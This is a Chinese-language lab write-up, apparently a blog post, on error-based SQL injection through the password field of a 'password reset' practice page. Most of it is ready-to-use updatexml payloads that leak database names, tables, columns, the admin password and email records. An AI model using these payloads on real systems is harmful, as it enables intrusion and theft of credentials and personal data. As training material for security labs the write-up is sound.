密码重置报错植入

来到首页面我们看到页面提示【password reset】,说明这是更改密码的注入,也就是说我们知道一个账户名,修改他的密码,所以我们可以在passwd处进行注入。
闭合方式
添加单引号

有报错

可以知道闭合方式为单引号
查询数据库名,版本等
构造
uname=admin&passwd=1’ order by 2 --+ &Submit=Submit
确定列数为2
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(database())),3) #&Submit=Submit
得到数据库名security
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(version())),3) #&Submit=Submit
版本
爆数据
数据库
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(schema_name) from information_schema.schemata),1,30)),3) #&Submit=Submit
只需要修改substring函数参数的值就可以得到所有数据库名
表名
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,30)),3) #&Submit=Submit
方法同上
列名
uname=admin&passwd=1’ and updatexml(1,concat(‘~’,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,30)),3) #&Submit=Submit
数据
- uname=admin&passwd=1’ and updatexml(1,concat(‘~’,(select password from (select password from users where username=‘admin’) b)),3) #&Submit=Submit
爆密码该格式针对mysql数据库。
但可以爆其他表
uname=admin&passwd=1’ and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name =‘emails’),0x5c),1))#
列
uname=admin&passwd=1’ and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#
内容





![[OS] 再探Kernel Threads -2](https://i-blog.csdnimg.cn/direct/2c8f53ad330d4faab4d85a7cf91bd4b7.png)



![[uni-app]小兔鲜-08云开发](https://img-blog.csdnimg.cn/img_convert/b4ff268fe3ba3342a876cd8f4faf1043.png)









